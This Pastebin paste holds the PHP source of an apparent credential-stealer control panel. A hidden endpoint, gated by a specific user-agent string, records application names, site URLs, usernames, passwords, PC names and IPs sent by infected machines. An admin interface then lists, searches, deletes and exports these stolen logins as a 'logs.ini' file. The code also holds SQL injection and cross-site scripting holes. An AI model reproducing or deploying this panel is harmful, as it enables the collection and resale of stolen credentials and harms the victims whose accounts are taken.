Advertisement
Guest User

Untitled

a guest
Jul 15th, 2018
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.39 KB | None | 0 0
  1. <?php
  2. session_start();
  3. require 'config.php';
  4. $connect = mysql_connect($hostname, $username, $password) or trigger_error(mysql_error(),E_USER_ERROR);
  5. mysql_select_db($database) or die(mysql_error());
  6. define(USER_AGENT, 'HardCore Software For : Public');
  7. function query($data)
  8. {
  9.     if(get_magic_quotes_gpc())
  10.     {
  11.         $data = stripslashes($data);
  12.     }
  13.     $data = mysql_real_escape_string($data);
  14.     return $data;
  15. }
  16. function pages_number($total, $logsperpage, $fetched)
  17. {
  18.     $pagesnumber = ((ceil($total/$logsperpage) -1 ) >= 0) ? (ceil($total/$logsperpage) -1 ) : 0;
  19.     $temp = "<strong>Page:</strong> ";
  20.    
  21.     if ($_GET['search'] == 'Search')
  22.     {
  23.         if (isset($_GET['page']))
  24.         {
  25.             $_SERVER['QUERY_STRING'] = str_replace('page='.$_GET['page'], '', $_SERVER['QUERY_STRING']);
  26.         }
  27.         $querystring = ($_SERVER['QUERY_STRING'] != '') ? '?'.$_SERVER['QUERY_STRING'].'&' : '?';
  28.         $querystring = str_replace('&&', '&', $querystring);
  29.     }
  30.     else
  31.     {
  32.         $querystring = '?';
  33.     }
  34.     $ppage = (($_SESSION["page"]-1) >= 0) ? ($_SESSION["page"]-1) : $_SESSION["page"];
  35.     $npage = (($_SESSION["page"]+1) <= $pagesnumber) ? ($_SESSION["page"]+1) : $_SESSION["page"];
  36.     if ($_SESSION['page'] == 0)
  37.     {
  38.         $first = 'First -';
  39.     }
  40.     else
  41.     {
  42.         $first = ' <a href="'.$querystring.'page=0">First</a> -';
  43.     }
  44.     if ($ppage == $_SESSION['page'])
  45.     {
  46.         $previous = ' Previous -';
  47.     }
  48.     else
  49.     {
  50.         $previous = ' <a href="'.$querystring.'page='.$ppage.'">Previous</a> -';
  51.     }
  52.     if ($npage == $_SESSION['page'])
  53.     {
  54.         $next = ' Next -';
  55.     }
  56.     else
  57.     {
  58.         $next = ' <a href="'.$querystring.'page='.$npage.'">Next</a> -';
  59.     }
  60.     if ($_SESSION['page'] == $pagesnumber)
  61.     {
  62.         $last = ' Last';
  63.     }
  64.     else
  65.     {
  66.        
  67.         $last = ' <a href="'.$querystring.'page='.($pagesnumber).'">Last</a>';
  68.     }
  69.     $temp .= $first.$previous.$next.$last;
  70.     //$temp .= ' (Showing '.(($logsperpage*$_SESSION["page"])).' - '.(($_SESSION["page"]*$logsperpage)+$logsperpage).' of '.$total.' Results)';
  71.     $temp .= ' (Showing '.($logsperpage*$_SESSION["page"]).' - '.(($logsperpage*$_SESSION["page"])+$fetched).' of '.$total.' Results)';
  72.     return $temp;
  73. }
  74. if(isset($_POST['submit']))
  75. {
  76.     if ($_POST['username'] == $adminuser && $_POST['password'] == $adminpass)
  77.     {
  78.         $error = false;
  79.         $_SESSION['logged'] = 'yes';
  80.         $_SESSION["page"] = 0;
  81.         $_SESSION["order"] = 'DESC';
  82.     }
  83.     else
  84.     {
  85.         $error = true;
  86.     }
  87. }
  88.  
  89. if(isset($_GET['action'])){
  90. if ($_GET['action'] == 'add')
  91. {
  92.     if ($_SERVER['HTTP_USER_AGENT'] == USER_AGENT)
  93.     {
  94.         if (isset($_GET["app"]) && isset($_GET["username"]) && isset($_GET["sitename"]) && isset($_GET["password"])&& isset($_GET["pcname"]))
  95.         {
  96.             foreach($_GET as $key => $value)
  97.             {
  98.                 $data[$key] = query($value);
  99.             }
  100.             $result = mysql_query("SELECT id FROM `logs` WHERE `app` = '".urldecode($data["app"])."' AND `url` = '".urldecode($data["sitename"])."' AND `username` = '".urldecode($data['username'])."' AND `password` = '".urldecode($data['password'])."';");
  101.             if (mysql_num_rows($result) == 0)
  102.             {
  103.                 $results = mysql_query("INSERT INTO `logs` (`id`, `app`, `url`, `username`, `password`, `pcname`, `date`, `ip`)
  104.                                       VALUES (NULL ,'".urldecode($data["app"])."', '".urldecode($data["sitename"])."', '".urldecode($data['username'])."','".urldecode($data['password'])."', '".urldecode($data['pcname'])."', '".date("Y-m-d H:i:s")."', '".$_SERVER['REMOTE_ADDR']."');");
  105.                 @mysql_free_result($results);
  106.             }
  107.             @mysql_free_result($result);
  108.         }
  109.     }
  110.     exit;
  111. }
  112. }
  113.  
  114.                             if($_SESSION['logged'] == 'yes') ///////////////////
  115.                                                                {
  116. if(isset($_POST['delete']))
  117. {
  118.     if (isset($_POST["sel"]) && count($_POST["sel"])!=0)
  119.     {
  120.  
  121.         for ($i=0; $i<count($_POST["sel"]); $i++)
  122.         {
  123.             if (is_numeric($_POST["sel"][$i]))
  124.             {
  125.  
  126.                 $result = mysql_query("DELETE FROM `logs` WHERE `id` = ".$_POST["sel"][$i]." LIMIT 1;");
  127.                 if (!$result) die(mysql_error());
  128.                 @mysql_free_result($result);
  129.             }
  130.         }
  131.     }
  132.     header("Location: index.php");
  133. }
  134. if (isset($_POST['export_all']))
  135. {
  136. if ($_SESSION['logged'] != 'yes') exit();
  137.     header("Content-Type: text/plain");
  138.     header("Content-Disposition: Attachment; filename=logs.ini");
  139.     header("Pragma: no-cache");
  140.    
  141.     $result = mysql_query("SELECT * FROM logs;");
  142.     while ($row = mysql_fetch_assoc($result))
  143.     {
  144.         echo 'Software:'."\t".$row['app']."\r\n";
  145.         echo 'Sitename:'."\t".$row['url']."\r\n";
  146.         echo 'Login:'."\t\t".$row['username'].':'.$row['password']."\r\n";
  147.         echo 'PC Name:'."\t".$row['pcname']."\r\n";
  148.         echo 'Date:'."\t\t".$row['date']."\r\n";
  149.         echo '====================================='."\r\n\r\n";
  150.     }
  151.     @mysql_free_result($result);
  152.     exit;
  153. }
  154. else if(isset($_POST['export']))
  155. {
  156. if ($_SESSION['logged'] != 'yes') exit();
  157.     header("Content-Type: text/plain");
  158.     header("Content-Disposition: Attachment; filename=logs.ini");
  159.     header("Pragma: no-cache");
  160.     if (count($_POST['sel']) > 0)
  161.     {
  162.         if (count($_POST['sel']) == 1)
  163.         {
  164.             $query .= 'id='.$_POST["sel"][0];
  165.         }
  166.         else
  167.         {
  168.             foreach ($_POST['sel'] as $key => $value)
  169.             {
  170.                 $query .= 'id='.$value.' or ';
  171.             }
  172.         }
  173.         $query .= ';';
  174.         $query = str_replace(' or ;', ';', $query);
  175.         $result = mysql_query("SELECT * FROM logs WHERE ".$query);
  176.         while ($row = mysql_fetch_assoc($result))
  177.         {
  178.             echo 'Software:'."\t".$row['app']."\r\n";
  179.             echo 'Sitename:'."\t".$row['url']."\r\n";
  180.             echo 'Login:'."\t\t".$row['username'].':'.$row['password']."\r\n";
  181.             echo 'PC Name:'."\t".$row['pcname']."\r\n";
  182.             echo 'Date:'."\t\t".$row['date']."\r\n";
  183.             echo '====================================='."\r\n\r\n";
  184.         }
  185.         @mysql_free_result($result);
  186.     }
  187.     exit;
  188. }
  189. ////////////////////
  190.  
  191.  
  192. if (!isset($_GET['search']))
  193. {
  194.  
  195.  
  196.     $totalq = mysql_query("SELECT id FROM logs");
  197.     $total = mysql_num_rows($totalq);
  198. }
  199. ///////////////////////////////
  200. if($_GET['search'] == 'Search')
  201. {
  202.  
  203.  
  204.     $search = query(trim($_GET['query']));
  205.     $in = query(trim($_GET['in']));
  206. }
  207.  
  208. if (isset($_POST['ord']))
  209. {
  210.     $ord = query(trim($_POST['ord']));
  211.     $query = mysql_query ("UPDATE options SET `order`='".$ord."';") or die(mysql_error);
  212.     @mysql_free_result($query);
  213. }
  214. if(isset($_GET['id'])){
  215. $id = query(trim($_GET['id']));
  216. }
  217. else $id='';
  218. $themes = array ('dark', 'light');
  219. if (isset($_GET['action']) && $_GET['action'] == 'updatetheme' && $id <= 1 && $id != $themes[$id])
  220. {
  221.     $query = mysql_query ("UPDATE options SET theme='".$themes[$id]."';") or die(mysql_error);
  222.     @mysql_free_result($query);
  223. }
  224. $result = mysql_query("SELECT * FROM options");
  225. $theme = mysql_fetch_assoc($result);
  226. $_SESSION['order'] = $theme['order'];
  227. if(isset($_GET['action'])){
  228. if (trim($_GET['action']) == 'logout')
  229. {
  230.     $_SESSION['logged'] = 'no';
  231.     session_destroy();
  232.     header("Location: index.php");
  233.     exit;
  234. }
  235. }
  236.  
  237. $choices = array("app", "url", "username", "password", "pcname", 'ip', 'date');
  238.  
  239. if (!isset($_GET['search']))
  240. {
  241.  
  242.  
  243.     $totalq = mysql_query("SELECT id FROM logs");
  244.     $total = mysql_num_rows($totalq);
  245. }
  246. else
  247. {
  248.     $totalq = mysql_query("SELECT id FROM `logs` WHERE `".$choices[$in]."` LIKE '%".$search."%' ORDER BY `date` ".$_SESSION['order'].";");
  249.     $total = mysql_num_rows($totalq);
  250. }
  251. if (isset($_GET["page"]) && is_numeric($_GET["page"]) && $_GET["page"]>=0 && $_GET["page"]<=ceil($total/$logsperpage))
  252. {
  253.     $_SESSION["page"] = query($_GET["page"]);
  254. }
  255. else
  256. {
  257.     $_SESSION['page'] = 0;
  258. }
  259. @mysql_free_result($result);
  260. @mysql_free_result($totalq);
  261. ?>
  262. <html>
  263. <head>
  264. <title>Home</title>
  265. <link rel='stylesheet' type='text/css' id="theme" href="style_<?php echo $theme['theme']; ?>.css"/>
  266. <script language='javascript' type='text/javascript'>
  267. function checkAll()
  268. {
  269.     chk = document.getElementsByName('sel[]');
  270.     for (i = 0; i<chk.length; i++)
  271.     {
  272.         if (document.frm.elements['check_all'].checked) chk[i].checked = true; else chk[i].checked = false;
  273.     }
  274. }
  275. function confirmation()
  276. {
  277.     chk = document.getElementsByName('sel[]');
  278.     for (i = 0; i<chk.length; i++)
  279.     {
  280.         if (chk[i].checked == true)
  281.         {
  282.             return confirm('Are you sure you want to delete all selected logs?');
  283.         }
  284.     }
  285.     alert('At least one option must be select.');
  286.     return false;
  287. }
  288. </script>
  289.  
  290. </head>
  291. <body>
  292. <div id="wrapper">
  293. <div id="header">
  294. <form name='search' method='POST' action="<?php echo $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING']; ?>">
  295.       <div id="themeswitch"> <strong>Sorting Logs:</strong>
  296.         <select name='ord'>
  297. <option <?php if($_SESSION['order'] == 'ASC') echo 'selected=selected'; else echo 'onclick="this.form.submit()"' ?> value='ASC'>Oldest First</option>
  298. <option <?php if($_SESSION['order'] == 'DESC') echo 'selected=selected'; else echo 'onclick="this.form.submit()"' ?> value='DESC'>Newest First</option>
  299.  
  300. </select>
  301.       </div>
  302. </form>
  303.  
  304. <div style="clear: both"></div>
  305. <div id="searchform">
  306.  
  307.     <form name='search' method='GET' action='index.php?action=search'>
  308.     <?php
  309.  
  310. $selqt = mysql_query("SELECT app FROM `logs`");
  311.  while($val = @mysql_fetch_array($selqt)){
  312. $arrc[]=$val['app'];
  313. }
  314. $selqt = array_unique($arrc);
  315.  
  316. echo ' <strong>Select: </strong><select name="Select">';
  317.  foreach ($selqt as $value) {
  318.   echo '<option selected=selected onclick="this.form.submit()">'.$value.'</option>';
  319.   }
  320.   echo '</select>'; ?>
  321.  
  322.  
  323.         <strong>Search for:</strong> <input type='text' name='query' size='20' value="<?php echo $search; ?>"> In: <select name='in'>
  324.         <option <?php if($in == 0) echo 'selected=selected'; ?> value='0'>Softwares</option>
  325.         <option <?php if($in == 1) echo 'selected=selected'; ?> value='1'>Sitename</option>
  326.         <option <?php if($in == 2) echo 'selected=selected'; ?> value='2'>Username</option>
  327.         <option <?php if($in == 3) echo 'selected=selected'; ?> value='3'>Password</option>
  328.         <option <?php if($in == 4) echo 'selected=selected'; ?> value='4'>PC Name</option>
  329.         <option <?php if($in == 5) echo 'selected=selected'; ?> value='5'>IP Address</option>
  330.         <option <?php if($in == 6) echo 'selected=selected'; ?> value='6'>Date</option>
  331.         </select>
  332.         <input type='submit' value='Search' name='search'>
  333.     </form>
  334. </div>
  335. <p id="slogan"></p>
  336. </div>
  337. <div id="menu">
  338. <a href="index.php">Home</a> | <a href="?action=logout">Logout</a> | <a href="?action=about">About</a></span>
  339. </div>
  340. <div id="container">
  341. <div id="main">
  342. <?php
  343. //if(isset($_GET['action'])){
  344. if ($_GET['action'] != 'about')
  345. {
  346. if ($_SESSION['logged'] == 'yes')
  347. {
  348. ?>
  349. <form name='frm' method='POST' action=''>
  350. <table cellpadding="0" cellspacing="0" border="0" width="100%">
  351. <tr class="heading">
  352. <td style="width:5px;"><input type="checkbox" name='check_all' onClick='checkAll();' /></td>
  353. <td class="head" style="width: 10%;">App Name</td>
  354. <td class="head">Sitename</td>
  355. <td class="head">Username</td>
  356. <td class="head">Password</td>
  357. <td class="head">PC Name</td>
  358. <td class="head">IP Address</td>
  359. <td class="head">Date</td>
  360. </tr>
  361. <?php
  362. $Select=query($_GET['Select']);
  363. if ($_GET['search'] == 'Search' && $search != '')
  364. {
  365.     if ($search == '' || $in == '')
  366.     {
  367.         echo '<tr><td colspan="6" style="text-align:center;">You forgot the Search or Select Query</td></tr>';
  368.     }
  369.     else if (isset($in) && is_numeric($in) && $in <= 6 && $search != '')
  370.     {
  371.    
  372.  
  373.     $result = mysql_query("SELECT * FROM `logs` WHERE `".$choices[$in]."` LIKE '%".$search."%' ORDER BY `date` ".$_SESSION['order']." LIMIT ".($logsperpage*$_SESSION["page"])." , ".$logsperpage.";");
  374.  
  375.        
  376.         $fetched = mysql_num_rows($result);
  377.         if (mysql_num_rows($result) > 0)
  378.         {
  379.             $i = 0;
  380.             while ($row = mysql_fetch_array($result))
  381.             {
  382.                 $class = ($i % 2 != 0) ? "al" : '';
  383.                 echo '
  384.                       <tr class="'.$class.'">
  385.                       <td style="width:5px;"><input type="checkbox" name="sel[]" value="'.$row['id'].'" /></td>
  386.                       <td style="width: 10%;">'.$row['app'].'</td>
  387.                       <td style="width: 25%;">'.$row['url'].'</td>
  388.                       <td style="width: 15%;">'.$row['username'].'</td>
  389.                       <td style="width: 10%;">'.$row['password'].'</td>
  390.                       <td style="width: 8%;">'.$row['pcname'].'</td>
  391.                       <td style="width: 12%;">'.$row['ip'].'</td>
  392.                       <td>'.$row['date'].'</td>
  393.                       </tr>
  394.                 ';
  395.                 $i++;
  396.             }
  397.         }
  398.         else
  399.         {
  400.             echo '<tr><td colspan="8" style="text-align:center;">No Result found.. :(</td></tr>';
  401.         }
  402.         @mysql_free_result($result);
  403.     }
  404. }
  405. else
  406. {
  407.     if ($total > 0)
  408.     {
  409.    
  410.         $result = mysql_query("SELECT * FROM `logs` ORDER BY `date` ".$_SESSION['order']." LIMIT ".($logsperpage*$_SESSION["page"])." , ".$logsperpage.";");
  411.                 if ($Select !=''){
  412.         $result = mysql_query("SELECT * FROM `logs` WHERE `app` = '$Select' ORDER BY `date` ".$_SESSION['order']." LIMIT ".($logsperpage*$_SESSION["page"])." , ".$logsperpage.";");
  413.     }
  414.         $i = 0;
  415.         $fetched = mysql_num_rows($result);
  416.         while ($row = mysql_fetch_assoc($result))
  417.         {
  418.             $class = ($i % 2 != 0) ? "al" : '';
  419.             echo '
  420.                   <tr class="'.$class.'">
  421.                   <td style="width:5px;"><input type="checkbox" name="sel[]" value="'.$row['id'].'" /></td>
  422.                   <td style="width: 10%;">'.$row['app'].'</td>
  423.                   <td style="width: 25%;">'.$row['url'].'</td>
  424.                   <td style="width: 15%;">'.$row['username'].'</td>
  425.                   <td style="width: 13%;">'.$row['password'].'</td>
  426.                   <td style="width: 8%;">'.$row['pcname'].'</td>
  427.                   <td style="width: 12%;">'.$row['ip'].'</td>
  428.                   <td>'.$row['date'].'</td>
  429.                   </tr>
  430.             ';
  431.             $i++;
  432.         }
  433.         @mysql_free_result($result);
  434.     }
  435.     else
  436.     {
  437.         echo '<tr><td colspan="8" style="text-align:center;">No Logs found.. :(</td></tr>';
  438.     }
  439. }
  440. ?>
  441. </table>
  442. <div class="title page">
  443. <span class="paging"><?php echo pages_number($total, $logsperpage, $fetched); ?></span><span class="buttons"><input type="submit" name="delete" value="Delete" onclick="if (!confirmation()) return false;" /> | <input type="submit" name="export" value="Export" /> | <input type="submit" name="export_all" value="Export All Logs" />
  444. </div>
  445. </form>
  446. <?php
  447. } else {
  448. if ($error)
  449. {
  450.     echo '<div style="color:#FF0000; font-weight:bold;">Incorrect Username/Password</div>';
  451. }
  452.  
  453.  
  454. }
  455. }
  456. }else
  457. {
  458. ?>
  459. <title>Home</title>
  460. <link rel="stylesheet" type="text/css" id="theme" href="style_dark.css"/>
  461. <div id="wrapper">
  462.  
  463. <div id="container">
  464. <div id="main">
  465. <form style="" method="post" action="">
  466. <div id="menu">Login : </div>
  467. Username:<br><input name="username" type="text" size="25"> <br/>
  468. Password:<br><input name="password" type="password" size="25"><br/>
  469. <input type="submit" name="submit" value="Login">
  470. </form>
  471. </div>
  472.  
  473. <?php
  474.  
  475. ?>
  476.  
  477. <?php } ?>
  478. </div> <!-- end of main-->
  479.  
  480. <div id="footer">
  481. <!-- Do not remove or modify copyright notice in any way -->
  482.     <p>Powered By <a href="">User</a></p>
  483. </div>
  484. </div>
  485. </body>
  486. </html>
  487. <?php mysql_close($connect); ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement